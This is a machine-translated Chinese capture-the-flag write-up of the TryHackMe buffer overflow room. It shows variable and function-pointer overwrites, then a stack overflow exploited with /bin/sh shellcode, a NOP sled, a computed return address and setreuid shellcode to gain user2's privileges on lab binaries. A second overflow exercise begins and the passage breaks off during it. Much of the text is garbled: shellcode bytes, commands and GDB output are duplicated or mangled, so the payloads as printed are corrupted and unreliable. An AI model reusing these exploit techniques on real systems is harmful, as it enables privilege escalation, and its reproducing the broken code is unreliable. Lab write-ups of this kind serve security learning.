[tryhackme]我实际上尝试了缓冲区溢出!缓冲区溢出写入

[tryhackme]我实际上尝试了缓冲区溢出!缓冲区溢出写入

这次,我们将尝试缓冲区溢出。
建立环境也很困难,因此我将在Tryhackme的下面的房间学习。
“ tryhackme-buffer溢出: https://tryhackme.com/room/bof1

请注意,解释是破坏者。

推荐的参考书
作者:ipusiron
¥2,090 (截至2025/07/13的15:33 |亚马逊研究)
Amazon Prime Day现在正在进行中! /
亚马逊
作者:ipusiron
¥3,850 (截至21:11在07/08/2025 |亚马逊研究)
Amazon Prime Day现在正在进行中! /
亚马逊
作者:贾斯汀·塞茨(Justin Seitz),作者:蒂姆·阿诺德(Tim Arnold),监督者:曼塔尼·诺布塔卡(Mantani Nobutaka),翻译:arai yu,翻译:卡卡拉·hirosei(Kakara Hirosei),翻译:村上
¥3,520 (截至12:26在07/09/2025 |亚马逊研究)
Amazon Prime Day现在正在进行中! /
亚马逊
Amazon Prime Day现在正在进行中! /
亚马逊
目录

介绍

首先,启动目标机器。
在下面的屏幕上选择“开始机器”。

如果显示IP地址,则启动已完成。

连接到我们的网络,部署机器并使用上述凭据登录。

完成此操作后,您可以使用“ user1:user1password”到目标计算机。

(hacklab㉿hacklab) -  [〜]└─$ ssh user1@10.10.165.6主机'10 .10 .10.165.6(10.10.165.6)的真实性无法建立。 ED25519密钥指纹是SHA256:ASF56RWYWWHAW06LWZFQZSBY9+GUN1JRYMQRK3FP5DU。您确定要继续连接(是/否/[指纹]),该键不知道其他名称吗?是警告:永久添加'10 .10.165.6'(ED25519)中已知主机列表。 user1@10.10.165.6's密码:上次登录:星期三11月27日21:42:30 2019 2019年的82.34.52.37 __ | __ | _)_ | (/Amazon Linux 2 AMI ___ | \ ___ | https://aws.amazon.com/amazon-linux-2/ [user1@ip-10-10-10-165-6〜] $ 

回答

过程布局

在这里,您可以在过程中找到内存布局的说明。
请阅读每个人的解释。

我将作为个人注释总结。

  • 计算机将程序作为一个过程运行。
  • 可以同时运行多个过程,但是确切地说,它们很快在过程之间切换,并且似乎同时运行。 (上下文开关)
  • 用户堆栈:包含运行程序所需的信息。
    包括当前的程序计数器,保存的寄存器和其他信息。
    用户堆栈向下增加。 (从用户堆栈开始的部分是未使用的内存)
  • 共享库区域:用于静态/动态链接程序中使用的库。
  • 堆:动态增加或减少,具体取决于程序是否动态分配内存。
    在堆上方有未分配的部分时,当堆大小增加时使用。
  • 程序代码和数据(代码/数据):存储程序的可执行文件和初始化变量。


动态分配的内存存储在哪里?

回答


关于函数(例如本地参数)的信息在哪里存储?

回答

X86-64程序

接下来,让我们解释一下堆栈。
没有什么新鲜事物,所以请自己阅读。


堆栈会生长什么方向(l对于较低/h,较高的方向)

回答

哪种指令用于将数据添加到堆栈中?

回答

程序仍在继续

我也会在这里发布答案。


什么寄存器存储返回地址?

回答

伊尼亚语

不同的体系结构以不同的方式代表相同的十六进制数字。这就是所谓的endianess。

  • Little Endian:该值从最低的字节放置为最显着的字节。
  • Big Endian:该值是从最显着的字节置于最不重要的字节。


阅读此。

回答

覆盖变量

从这里开始,这将是一种实用的格式。

在Overflow-1文件夹中,有“ int-overflow.c”,所以我会看看。

[user1@ip-10-10-165-6溢出1] $ cat int-overflow.c #include<stdlib.h> #包括<unistd.h>#包括<stdio.h>int main(int argc,char ** argv){挥发性int variable = 0; char缓冲区[14];获取(缓冲区); if(variable!= 0){printf(“您已更改了变量\ n”的值); } else {printf(“重试?\ n”); }}}

堆栈是向下存储的,因此我们可以假设它是“变量”>“缓冲区”。
当数据复制或写入缓冲区时,数据将从较低地址写入更高地址。

GET函数从标准输入输入到缓冲区中,但是GET函数实际上并未检查长度,因此可以覆盖变量。 (换句话说,如果输入14个字节或更多的数据,则可以覆盖变量。)


覆盖变量所需的最小字符数是多少?

我实际上会尝试并尝试一下。
首先,尝试按照以前的预期输入14个字节。

[user1@ip-10-10-165-6 Overflow-1] $ gcc int-overflow.c [user1@ip-10-10-10-165-6 Overflow-1] $ ./a.out 01234567890123重试吗?

输出消息“再次尝试”,因此您可以看到它没有被覆盖。

接下来,尝试输入15个字节。

[user1@ip-10-10-165-6 Overflow-1] $ ./a.out 012345678901234您已经更改了变量的值

输出从前发生了变化。
证明该变量不是0,因此可以覆盖它!

回答

覆盖功能指针

尝试覆盖功能指针并调用另一个功能。
首先,让我们看一下Overflow-2中的“ func-pointer.c”。

[user1@ip-10-10-10-22-183溢出2] $ cat func-pointer.c #include<stdlib.h> #包括<unistd.h>#包括<stdio.h>void special(){printf(“这是特殊函数\ n”); printf(“您这样做,朋友!\ n”); } void normal(){printf(“这是普通函数\ n”); } void other(){printf(“为什么在这里?”); } int main(int argc,char ** argv){volatile int(*new_ptr)()= normal; char缓冲区[14];获取(缓冲区); new_ptr(); }

缓冲区上方的变量不是指向该函数的指针,而是正常函数的内存位置。
此内存位置将被覆盖。

在这里,我们使用GDB(调试器)。

[user1@ip-10-10-10-22-183 Overflow 2] $ GDB Func-Pointer GNU GDB(GDB)Red Hat Enterprise Linux 8.0.1-30.AMZN2.0.3版权所有(C)2017 2017 Free Software Foundation,Inc。<http://gnu.org/licenses/gpl.html>这是免费软件:您可以自由更改和重新分配它。在法律允许的范围内,没有保证。键入“显示复制”和“显示警告”以获取详细信息。该GDB被配置为“ X86_64-REDHAT-LINUX-GNU”。为配置详细信息键入“显示配置”。有关错误报告说明,请参阅:<http://www.gnu.org/software/gdb/bugs/> 。在线查找GDB手册和其他文档资源:<http://www.gnu.org/software/gdb/documentation/> 。寻求帮助,键入“帮助”。键入“ Apropos Word”以搜索与“ Word”相关的命令...从Func-Pointer读取符号...(找不到调试符号)...完成。 (gdb)设置exec -wrapper env -u lines -u列

首先,运行它,然后尝试输入13个字节。

(gdb)运行启动程序:/home/user1/user1/volfflow-2/func-pointer缺少单独的debuginfos,使用:debuginfo-install glibc-2.26-32.amzn2.0.1.x86_64 1234567890123这是正常功能[suplior 1(process 1(process 35567))

正常功能正在运行,对吗?

接下来,尝试在15个字节中运行它。

(GDB)运行正在调试的程序已经启动。从一开始就开始吗? (y或n)y启动程序:/home/user1/Overflow-2/func-pointer 123456789012345程序接收信号sigsegv,分段故障。 0x0000000400035 in ?? ()

地址的右边缘设置为“ 35”。 (“ 5”的十六进制代码),
这意味着返回目标地址已被覆盖。

现在,让我们尝试在20个字节中运行它。

(GDB)运行正在调试的程序已经启动。从一开始就开始吗? (y或n)y启动程序:/home/user1/user1/volflow-2/func-pointer 1234567890123455555收到的信号sigsegv,分段故障。 0x0000353535在?? ()

所有返回的值都被覆盖为“ 35”。

接下来,尝试在21个字节中运行它。

(GDB)运行正在调试的程序已经启动。从一开始就开始吗? (y或n)y启动程序:/home/user1/user1/Overflow-2/func-Pointer 12345678901234555555程序接收到信号sigsegv,分段故障。 Main()中的0x00000004005da

这是一个不同的地方,所以它是过度的。
换句话说,我发现有6个字节可以覆盖地址。

要将其重写为特殊功能的地址,让我们看一下特殊功能的地址。

(GDB)拆卸功能的组件代码特殊转储特别:0x0000000400567 <+0>:按%RBP 0x00000000000400568 <+1>:MOV%RSP,%RBP 0x0000000040040056B <4><puts@plt> 0x000000000400575 <+14>:MOV $ 0x40069D,%EDI 0x0000000040057a <+19>:CallQ 0x400460<puts@plt> 0x0000000040057f <+24>:NOP 0x00000000400580 <+25>:POP%RBP 0x000000000400581 <+26>:汇编器转储的RETQ END。

“ 0x00000000400567”是特殊功能的地址。
现在,让我们将其重写为上面显示的地址。

在这里,由于它是小末日,“ 00000400567”如下:

\ x67 \ x05 \ x40 \ x00 \ x00 \ x00 \ x00

接下来,将其转换为ASCII代码。

g^e@

请注意, ^e是“ ctrl+e”。

知道ASCII代码后,请尝试运行并重写它。

(GDB)运行正在调试的程序已经启动。从一开始就开始吗? (y或n)y启动程序:/home/user1/user1/volflow-2/func-pointer 12345678901234G^e@这是您这样做的特殊功能,朋友! [正常离开的1(过程5144)]

特殊功能已正确执行。


调用特殊函数()(调用特殊功能)

很好,就好像您早些时候调用了特殊功能一样。

[user1@ ip-10-10-10-22-183 Overflow-2] $ ./func-pointer 12345678901234G^e@这是您这样做的特殊功能,朋友!

回答

缓冲区溢出

接下来,尝试使用缓冲区溢出以获取外壳。
这是它变得更加复杂的地方。 。 。

首先,转到Overflow-3并检查“ Buffer-Overflow.c”。

[user1@ip-10-10-10-22-183 Overflow-3] $ cat Buffer-overflow.c #include<stdio.h> #包括<stdlib.h>void copy_arg(char *string){char buffer [140]; strcpy(buffer,string); printf(“%s \ n”,缓冲区);返回0; } int main(int argc,char ** argv){printf(“这是一个与输入\ n的echo的程序”; copy_arg(argv [1]); }

您可以看到strcpy()正在从命令行参数argv [1]复制到140 byte长度的缓冲区。
strcpy()不检查长度,因此可以溢出缓冲区。

该堆栈添加了一个返回地址,但是缓冲区已向上复制,因此缓冲区溢出可以覆盖返回地址。
控制功能返回的位置,并尝试更改程序的执行流。


使用上述方法打开外壳并读取secret.txt文件的内容。

现在,就像以前一样,我们将使用GDB。

[user1@ip-10-10-10-22-183 Overflow-3] $ GDB缓冲区跨流GNU GDB(GDB)红色帽子企业Linux 8.0.1-30.AMZN2.0.3.AMZN2.0.3版权所有(C)2017 2017 Free Software Foundation,Inc.<http://gnu.org/licenses/gpl.html>这是免费软件:您可以自由更改和重新分配它。在法律允许的范围内,没有保证。键入“显示复制”和“显示警告”以获取详细信息。该GDB被配置为“ X86_64-REDHAT-LINUX-GNU”。为配置详细信息键入“显示配置”。有关错误报告说明,请参阅:<http://www.gnu.org/software/gdb/bugs/> 。在线查找GDB手册和其他文档资源:<http://www.gnu.org/software/gdb/documentation/> 。寻求帮助,键入“帮助”。键入“ Apropos Word”以搜索与“ Word”相关的命令...从Buffer-Overflow读取符号...(找不到调试符号)...完成。

首先,寻找返回地址的开始。
消息来源告诉我们,缓冲区为140比较。
缓冲区和返回地址之间的一些内容由“ Alignment Byte”和RBP寄存器(保存寄存器)填充,在X64架构中,有8个字节。

换句话说,它应该是诸如缓冲区(140) +对齐字节(??) + rbp(8)之类的偏移。

因此,由于它至少是148个字节,因此我们将将字节从148个字节增加到覆盖返回地址为止。
首先,尝试以148个字节运行。

(gdb) run $(python -c "print('A'*148)") Starting program: /home/user1/overflow-3/buffer-overflow $(python -c "print('A'*148)") Missing separate debuginfos, use: debuginfo-install glibc-2.26-32.amzn2.0.1.x86_64 Here's a program that echo's out your输入AAAAA程序接收了信号sigsegv,分割故障。 0x00000000400595 Main()

最后一个返回地址没有“ 41(a)”,不能被覆盖。
我们将逐渐增加它,看看它达到153个字节时会发生什么。

(GDB)运行$(Python -c“ print('a'*153)”)已启动该程序。从一开始就开始吗? (y或n)y启动程序:/home/user1/Overflow-3/buffer-overflow $(python -c“ print('a'a'*153)”)这是一个程序,它会呼应您的输入aaaaa aaaaa aaaaa programed oferity aaaaa programe nible signal signal sigsegv,段。 0x00000000400041在?? ()

返回地址为“ 41”。您可以看到返回地址已被覆盖。
接下来,尝试以158个字节运行它,以查看返回地址的结尾。

(gdb)运行$(Python -c“ print('a'*158)”)已启动该程序。从一开始就开始吗? (y或n)y启动程序:/home/user1/Overflow-3/buffer-overflow $(python -c“ print('a'a'*158)”)这是一个程序,它会呼应您的输入aaaaa aaaa aaaa program接收到信号sigsegv,sementation FARD。 0x00004141414141 in ?? ()

返回地址充满了“ 41”,因此我将尝试以159个字节运行。

(GDB)运行$(Python -c“ print('a'*159)”)已启动该程序。从一开始就开始吗? (y或n)y启动程序:/home/user1/Overflow-3/buffer-overflow $(python -c“ print('a'a'*159)”)这是一个程序,它会回应您的输入aaaaa aaaaa aaaaa programed aaaaa programed signal signal sign sigsegv,sementation Fult。 0x00000000400563在copy_arg()中

当然,这太多了,这是一个不同的地址。
换句话说,我们发现6个字节从153到158是返回地址。

接下来,我们将使用缓冲区中的ShellCode,以便返回地址指向该地址。
请注意,正常的,简单的ShellCode不起作用,您需要调用出口以防止Sigill错误。

推送$ 0x3B pop%eax xor%rdx,%rdx movabs $ 0x68732F6E69622F2F,%r8 shr $ 0x8,%r8 push%r8 mov%RSP,%rdi push%rdi push%rdx push%rdi push%rdi rdi rsp%rsp,%rsi rsi syscal <------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

ShellCode的十六进制版本如下:
从网络中撤出。 (这次我从
这里有40个字节。

\ x6a \ x3b \ x58 \ x48 \ x31 \ xd2 \ x49 \ xb8 \ x2f \ x2f \ x2f \ x62 \ x69 \ x69 \ x6e \ x6e \ x2f \ x2f \ x73 \ x68 \ x68 \ x68 \ x49 \ x49 \ xc1 \ xc1 \ xc1 \ xe8 \ xe8 \ x08 \ x08 \ x08 \ x41 \ x50 \ x48 \ x89 \ xe7 \ x52 \ x57 \ x48 \ x48 \ x89 \ xe6 \ xe6 \ x0f \ x05 \ x6a \ x6a \ x3c \ x3c \ x58 \ x58 \ x48 \ x48 \ x48 \ x31 \ x31 \ x31 \ x31 \ xff \ x0f \ x0f \ x05 x05 x05

接下来,我们将查找十六进制外壳的地址。
确保垃圾(100byte) + shellCode(40 byte) +垃圾(12byte) +返回地址(6byte)= 158 byte。 (垃圾和壳牌码的位置没有很大的理由,因此,如果字节在152个字节内,则可以更改字节。)

就目前而言,目前,我将为垃圾写“ a”和“ b”以进行返回地址。

(gdb)运行$(Python -C”打印'a'*100+'\ x6a \ x3b \ x58 \ x48 \ x31 \ xd2 \ xd2 \ x49 \ xb8 \ x2f \ x2f \ x2f \ x62 \ x62 \ x69 \ x69 \ x69 \ x6e \ x22f \ x73 \ x73 \ x68 \ x68 \ x49 \ x49 \ xc1 \ xc1 \ xc1 \ xc1 \ xc1 \ xc1 \ xc1 \ xc1 \ xc1 x41 \ x50 \ x48 \ x89 \ xe7 \ x52 \ x57 \ x48 \ x48 \ x89 \ x89 \ xe6 \ x0f \ x05 \ x05 \ x6a \ x3c \ x3c \ x58 \ x58 \ x31 \ x31 \ x31 \ x31该计划已启动。从一开始就开始吗? (y或n)y启动程序:/home/user1/Overflow-3/buffer-overflow $(python -c”打印'\ x90'*100+'\ x6a \ x3b \ x58 \ x48 \ x31 \ xd2 \ xd2 \ x49 \ xb8 \ x2f \ x2f \ x2f \ x62 \ x62 \ x69 \ x69 \ x69 \ x6e \ x2f \ x2f \ x2f \ x73 \ x68 \ x68 \ x68 \ x49 \ x49 \ x49 \ x1 \ x1 x x x x x x x x x x x x x x x x x x x x x x x x 41 \ x50 \ x48 \ x89 \ xe7 \ x52 \ x57 \ x48 \ x48 \ x89 \ xe6 \ xe6 \ x0f \ x05 \ x05 \ x6a \ x6a \ x3c \ x58 \ x58 \ x48 \ x48 \ x48 \ x31这是一个程序,可以回应您的输入。

接下来,尝试倾倒内存位置。

(gdb) x/100x $rsp-200 0x7fffffffe228: 0x00400450 0x00000000 0xffffe3e0 0x000007ffff 0x7fffffffe238: 0x00400561 0x00000000 0xf7dce8c0 0x00007ffff 0x7fffffffe248: 0xffffe64a 0x00007ffff 0x414141 0x414141 0x7fffffffffe258: 0x414141 0x414141 0x414141 0x414141 0x414141 0x414141 0x414141 0x414141 0x414141 0x414141 0x414141 0x7fffffffe268:0x414141 0x414141 0x414141 0x414141 0x4141410x414141 0x414141 0x7fffffffeffe278:0x414141414141414141414141414141414141414141414141414141FFE 0x414141 0x414141 0x414141 0x414141 0x414141 0x7fffffffe2a8: 0x414141 0x414141 0x414141 0x48583b6a 0x7fffffffe2b8: 0xb849d231 0x69622f2f 0x68732f6e 0x08e8c149 0x7fffffffffe2c8: 0x89485041 0x485752e7 0x050fe689 0x48583c6a 0x7fffffffffe2d8: 0x050ffff31 0x414141 0x414141 0x414141 0x414141 0x414141 0x7fffffffffe2e8: 0x424242 0x00004242 0xfffffe3e8 0x00007ffff 0x7fffffffe2f8: 0x0000000 0x0000002 0x004005a0 0x0000000 0x7fffffffe308: 0xf7a4302a 0x00007ffff 0x0000000 0x000000 0x7fffffffe318: 0xffffe3e8 0x00007ffff 0x000040000 0x0000002 0x7fffffffe328: 0x00400564 0x000000 0x000000 0x000000 0x7fffffffe338: 0x654a4ef5 0xcc0a789a 0x00400450 0x0000000 0x7fffffffe348: 0xffffe3e0 0x0000000 0x000000 0x7fffffffe358: 0x000000 0x000000 0x7fffffffe358: 0x000000 0x000000 0xa82a4ef5 0x33f587e5 0x7fffffffe368: 0x31ce4ef5 0x33f59752 0x000000 0x000000 0x7fffffffe378: 0x000000 0x000000 0x0000000 0x7fffffffe388: 0xfffffe400 0x00007ffff 0xf7fffe130 0x00007ffff 0x7fffffffe398: 0xF7DE7656 0x00007FFFF 0x0000000 0x0000000 0x7fffffffffeffe3a8:0x000000000000000000000000 x0000000 x0000000

您会看到缓冲区从“ 0x7fffffffe248”的“第三行”开始,而ShellCode则从“ 0x7fffffffe2a8”的第四行开始。
“ 0x7FFFFFFFE2A8”是列出shellCode的行的第一个地址,您需要每列添加4个字节。
由于ShellCode具有第四行,也就是说,我们添加了3*4Byte = 12byte(OXC),并且我们可以看到0x7fffffffe2a8+Oxc = 0x7fffffffffffe2b4是ShellCode的开始地址。

但是,有时内存会稍微移动,每次运行时地址可能会改变。
可以通过用“ nop(\ x90)”而不是“ a”填充壳牌前面的垃圾来解决。

NOP是一项无能为力并跳过的指令。
它跳过了所有的nop并运行shellCode,因此您无需获得确切的地址,您只需在一个充满NOP的地址并运行它即可。
换句话说,即使内存略有变化,也没有问题。

将外壳前面的垃圾从“ A”更改为“ \ x90”。

(gdb)运行$(Python -C”打印'\ x90'*100+'\ x6a \ x3b \ x58 \ x48 \ x31 \ xd2 \ xd2 \ x49 \ xb8 \ x2f \ x2f \ x2f \ x62 \ x62 \ x69 \ x69 \ x69 \ x6e \ x2f \ x2f \ x73 \ x73 \ x68 \ x68 \ x49 \ x49 \ x49 \ x49 \ x49 \ x49 \ x49 \ x49 \ x49 \ x49 \ x41 \ x50 \ x48 \ x89 \ xe7 \ x52 \ x57 \ x48 \ x48 \ x89 \ x89 \ xe6 \ x0f \ x05 \ x05 \ x6a \ x6a \ x3c \ x58 \ x58 \ x31 \ x31 \ x31该计划已启动。从一开始就开始吗? (y或n)y启动程序:/home/user1/Overflow-3/buffer-overflow $(python -c”打印'\ x90'*100+'\ x6a \ x3b \ x58 \ x48 \ x31 \ xd2 \ xd2 \ x49 \ xb8 \ x2f \ x2f \ x2f \ x62 \ x62 \ x69 \ x69 \ x69 \ x6e \ x2f \ x2f \ x2f \ x73 \ x68 \ x68 \ x68 \ x49 \ x49 \ x49 \ x1 \ x1 x x x x x x x x x x x x x x x x x x x x x x x x 41 \ x50 \ x48 \ x89 \ xe7 \ x52 \ x57 \ x48 \ x48 \ x89 \ xe6 \ xe6 \ x0f \ x05 \ x05 \ x6a \ x6a \ x3c \ x58 \ x58 \ x48 \ x48 \ x48 \ x31这是一个程序,可以回应您的输入。

再次转储内存位置。

(gdb) x/100x $rsp-200 0x7fffffffe228: 0x00400450 0x00000000 0xffffe3e0 0x000007ffff 0x7fffffffe238: 0x00400561 0x00000000 0xf7dce8c0 0x00007ffff 0x7fffffffffe248: 0xffffe64a 0x00007ffff 0x90909090 0x909090 0x7fffffffffe258: 0x909090 0x909090 0x909090 0x7fffffffffe268: 0x909090 0x909090 0x7fffffffffe268: 0x90909090 0x909090 0x909090 0x909090 0x7fffffffffeffe278:0x909090 0x90909090909090909090909090909090900X7FFFFFFFFFFFFFFFFFFFFFFFEFFEFFEFFEFFEFFEFFEFFE288:0x9090909090909090909090909090909090909090909090909090909090909090909090909090909090909009090900名夫 0x909090 0x909090 0x909090 0x7fffffffffe288: 0x909090 0x909090 0x909090 0x90909090 0x48583b6a 0x7fffffffe2b8: 0xb849d231 0x69622f2f 0x68732f6e 0x08e8c149 0x7fffffffffe2c8: 0x89485041 0x485752e7 0x050fe689 0x48583c6a 0x7fffffffffe2d8: 0x050ffff31 0x414141 0x414141 0x414141 0x414141 0x7fffffffffe2e8: 0x424242 0x00004242 0xfffffe3e8 0x00007ffff 0x7fffffffe2f8: 0x0000000 0x0000002 0x004005a0 0x0000000 0x7fffffffe308: 0xf7a4302a 0x00007ffff 0x0000000 0x000000 0x7fffffffe318: 0xffffe3e8 0x00007ffff 0x000040000 0x0000002 0x7fffffffe328: 0x00400564 0x000000 0x000000 0x000000 0x7fffffffe338: 0x02ce8e0b 0x844e9507 0x00400450 0x0000000 0x7fffffffe348: 0xffffe3e0 0x0000000 0x000000 0x7fffffffe358: 0x0000000 0x000000 0xcfae8e0b 0x7bb16a78 0x7fffffffe368: 0x564a8e0b 0x7bb17acf 0x000000 0x000000 0x7fffffffe378: 0x000000 0x0000000 0x000000 0x0000000 0x7fffffffe388: 0xfffffe400 0x00007ffff 0xf7fffe130 0x00007ffff 0x7fffffffe398: 0xf7de7656 0x00007ffff 0x0000000 0x0000000 0x7FFFFFFFFFE3A8:0x000000 0x0000000 0x0000000

shellCode是“ 0x7fffffffe2a8的第四列”,但可以在任何地方填充上一个“ 90”,因此这次,我将使用“ 0x7fffffffffe298”作为返回地址,跳过它,然后运行shellCode。

返回地址将为“ 0x7fffffe298”⇒“ 0x98E2FFFFFFFFFFFFFFFFFFF7F”⇒“ \ X98 \ XE2 \ XFF \ XFF \ XFF \ XFF \ XFF \ XFF \ XFF \ XFF \ X7F”。

尝试用“ \ x98 \ xe2 \ xff \ xff \ xff \ xff \ xff \ xff \ x7f”在返回地址中替换“ b”并运行它。

(gdb)运行$(Python -C”打印'\ x90'*100+'\ x6a \ x3b \ x58 \ x48 \ x31 \ xd2 \ x49 \ x49 \ xb8 \ x2f \ x2 f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x49 \ xc1 \ xe8 \ x08 \ x08 \ x41 \ x50 \ x50 \ x 48 \ x89 \ xe7 \ x52 \ x57 \ x48 \ x89 \ xe6 \ x0f \ x05 \ x05 \ x6a \ x3c \ x3c \ x58 \ x31 \ xff \ x0f \ x05'+'a'*12+'\ x98 \ xe2 \ xff \ xff \ xff \ xff \ xff \ x7f'”)启动程序:/home/user1/Overflow-3/buffer-overflow $(python -c”打印'\ x90'*100+'\ x6a \ x3b \ x58 \ x48 \ x31 \ xd2 \ x49 \ x49 \ xb8 \ x2f \ x2f \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x49 \ xc1 \ xe8 \ x08 \ x08 \ x41 \ x41 \ x50 \ x48 \ x89 \ xe7 \ x52 \ x57 \ x48 \ x89 \ xe6 \ x0f \ x05 \ x05 \ x6a \ x3c \ x3c \ x58 \ x48 \ x31 \ xff \ x0f \ x05'+'a'*12+'\ x98 \ xe2 \ xff \ xff \ xff \ xff \ xff \ x7f'”)这是一个程序,可以回应您的输入。 

您已经成功获得了外壳。
如果您使用Whoami检查用户,您会发现它是User1。

SH-4.2

我有Secret.TXT,所以我尝试了CAT,但似乎它与User1不起作用。

SH-4.2 $ LS -L从子进程5380的叉子之后分离。总计20 -RWSRWXR-X 1 USER2 USER2 USER2 USER2 8264 SEP 2 2019 2019 Buffer-Overflow -RW-RW-RW-R-1 USER1 USER1 USER1 USER1 USER1 285 SEP 2 SEP 2 2019 BUFFER-ORFORFOR.C.C.C -rw------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

为了使其成为用户2,您需要在shellCode中添加setReuid。
首先,让我们看一下User2的UID。

[user1@ip-10-10-10-22-183 Overflow-3] $ cat/etc/passwd root:x:0:0:0:root:/bin/bash bin:x:x:1:1:1:bin:/bin:/sbin/sbin/nologin daemon:x:2:2:2:2:2:2:daemon:daemon:/sbin:/sbin:/sbin:/ lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync关机:x:6:0:shutdown:/sbindown:/sbin:/sbin/shutdown halt:x:7:7:halt:x:7:halt:halt:halt:halt:/sbin/sbin:/邮件:x:8:12:邮件:/var/spool/mail:/sbin/nolololin操作员:x:11:0:operator:/root:/sbin/nolololin游戏:x:12:100:games:games:/usr/sbin/sbin/sbin/nologin ftp:x:x:x:14:50:50:50:ftp user:ftp user:/var/var/v ftp:/没有人:x:99:99:没有人:/:/:/sbin/nologin systemd-network:X:192:192:SystemD网络管理:/:/:/sbin/Nolologin dbus:x:81:81:81:81:System Message Bus:/:/:/sbin/nologin rpc:x:32:32:32:32:32:32:32:32:32:/ libstoragemgmt:X:999:997:守护程序的帐户是libstoragemgmt:/var/run/run/lsm:/sbin/nolologin sshd:x:74:74:prepilege-epareilege-eparepated ssh:/ user:/var/lib/nfs:/sbin/nologin nfsnobody:x:65534:65534:匿名nfs user:/var/lib/nfs:/var/lib/sbin/nologin ec2-instance-instance-connect:x:x:998:998:996 ::/home home home ec2-inst cance-inst and nnolog/nolog/nolog:/nolog:/nolog:/nolog:/nolog:/nolog:/nolog:/nolol: postfix:x:89:89::/var/spool/postfix:/sbin/nologin chrony:x:997:995::/var/lib/chrony:/sbin/nologin tcpdump:x:72:72::/sbin/nologin ec2-user:x:1000:1000:EC2 Default用户:/home/ec2-user:/bin/bash user1:x:x:1001 ::/home/user1:/bin/bash user2:x:x:1002:x:1002 ::/home/home/home/home/user2:/bin/bash user3:x:x:1003:1003:1003 :::/home/home/bin/bin/bin/bin/bin/bin/bin/bash/bin/bin/bash:/

我发现用户2的UID为“ 1002”。

接下来,我们将使用PWNTools生成SetReuid()部分的十六进制代码。

(hacklab㉿hacklab) -  [〜]└─$ pwn shellcraft -fd amd64.linux.setreuid 1002 \ x31 \ xff \ xff \ x66 \ xbf \ xea \ x03 \ x03 \ x66a \ x66a \ x71 \ x71 \ x71 \ x58 \ x58 \ x48 \ x48 \ x48 \ x89 \ x5 \ x5 \ x59 \ xfe xfe x x x x x x x x x 5

将其添加到ShellCode的开头。
由于它是14个字节,因此您还应该将垃圾更改为100-14 = 86字节。
我会尝试这样做。

[user1@ip-10-10-10-22-183 Overflow-3] $ ./buffer-overflow $(python -c”打印'\ x90'*86+'\ x31 \ xff \ x66 \ xbf \ xea \ x03 \ x6a \ x6a \ x71 \ x71 \ x58 \ x48 \ x48 \ x89 \ xfe \ xfe \ x0f \ x0f \ x0 5 \ x6a \ x3b \ x58 \ x48 \ x31 \ xd2 \ x49 \ xb8 \ x2f \ x2f \ x2f \ x2f \ x62 \ x69 \ x69 \ x6e \ x2f \ x2f \ x2f \ x73 \ x68 \ x68 \ x68 \ x68 x49 \ xc1 \ xe8 \ x08 \ x41 \ x50 \ x48 \ x89 \ xe7 \ xe7 \ x52 \ x57 \ x48 \ x48 \ x89 \ xe6 \ xe6 \ x0f x0f \ x05 \ x05 \ x6 a \ x3c \ x58 \ x48 \ x31 \ xff \ x0f \ x05'+'a'a'*12+'\ x98 \ xe2 \ xff \ xff \ xff \ xff \ xff \ xff \ x7f \ x7f'”)这是一个与您输入输入的程序。

我成功获得了User2权限。 (当我使用GDB时,它将保留为User1。如果我在没有GDB的情况下运行它,则可以使用User2运行它。)

检查Secret.txt,您就完成了!

SH-4.2 $ CAT SECRET.TXT OMGYUDIDTHISSOCOOL!

回答

缓冲区溢出2

接下来是对迄今为止所做的事情的评论。

首先,让我们看一下来源c。

[user1@ip-10-10-10-232-238 Overflow-4] $ cat Buffer-overflow-2.c #include<stdio.h> #包括<stdlib.h>void concat_arg(char *string){char buffer [154] =“ doggo”; strcat(buffer,string); printf(“新单词是%s \ n”,buffer);返回0; } int main(int argc,char ** argv){concat_arg(argv [1]); }

strcat()是一种可能导致溢出的函数。
我认为这次我们将使用此。

现在,让我们在GDB中运行它。

[user1@ip-10-10-10-232-238 Overflow-4] $ GDB buffer-overflow-2 gnu GDB(GDB)红色帽子企业Linux 8.0.1-30.AMZN2.0.3.AMZN2.0.3版权所有(c)2017 2017 Free Software Foundation,Inc. Glplv3+:GNU GPLV3+:GNU GPLV3+:GNU GPLV3+:GNU GPLV3+:GNU GPLV3+:<http://gnu.org/licenses/gpl.html>这是免费软件:您可以自由更改和重新分配它。在法律允许的范围内,没有保证。键入“显示复制”和“显示警告”以获取详细信息。该GDB被配置为“ X86_64-REDHAT-LINUX-GNU”。为配置详细信息键入“显示配置”。有关错误报告说明,请参阅:<http://www.gnu.org/software/gdb/bugs/> 。在线查找GDB手册和其他文档资源:<http://www.gnu.org/software/gdb/documentation/> 。寻求帮助,键入“帮助”。键入“ Apropos Word”以搜索与“ Word”相关的命令...从Buffer-Overflow-2 ...读取符号...(找不到调试符号)...完成。 (GDB) 

它应该像缓冲区(154)+对齐字节(??)+rbp(8)一样偏移。
让我们从154+8 = 162bytes开始。

(GDB)运行$(Python -c“ print('a''*162)”)已启动该程序。从一开始就开始吗? (y或n)y启动程序:/home/user1/Overflow-4/buffer-overflow-2 $(python -c“ print('a'a'*157)”)新单词是doggoaaaaaaaa aprog signal sign sigsegv,segmentation nable semmentation fulte signal sign signation。 Main()中的0x000000004005d3

没有“ 41”,因此没有被覆盖。

我刚进入164个字节并运行它。

(GDB)运行$(Python -c“ print('a'*164)”)已启动该程序。从一开始就开始吗? (y或n)y启动程序:/home/user1/Overflow-4/buffer-overflow-2 $(python -c“ print('a'a'*164)”)新单词是doggoaaaaaaaa aprog sign sign sigsegv,segmentation nable semmentation fults signal sign sigsegsegv。 0x00000000400041在?? ()

有“ 41”,因此已被适当地覆盖。

我想知道返回地址的结尾,所以我将尝试输入169个字节。

(GDB)运行$(Python -c“ print('a'*169)”)已启动该程序。从一开始就开始吗? (y或n)y启动程序:/home/user1/Overflow-4/buffer-overflow-2 $(python -c“ print('a'a'*169)”)新单词是doggoaaaaaaaaa aprog signle sign sigsigsegv,segmentation nable semmentation duffs signal。 0x00004141414141 in ?? ()

一切都充满了“ 41”。
为了安全起见,请尝试使用170个字节运行。

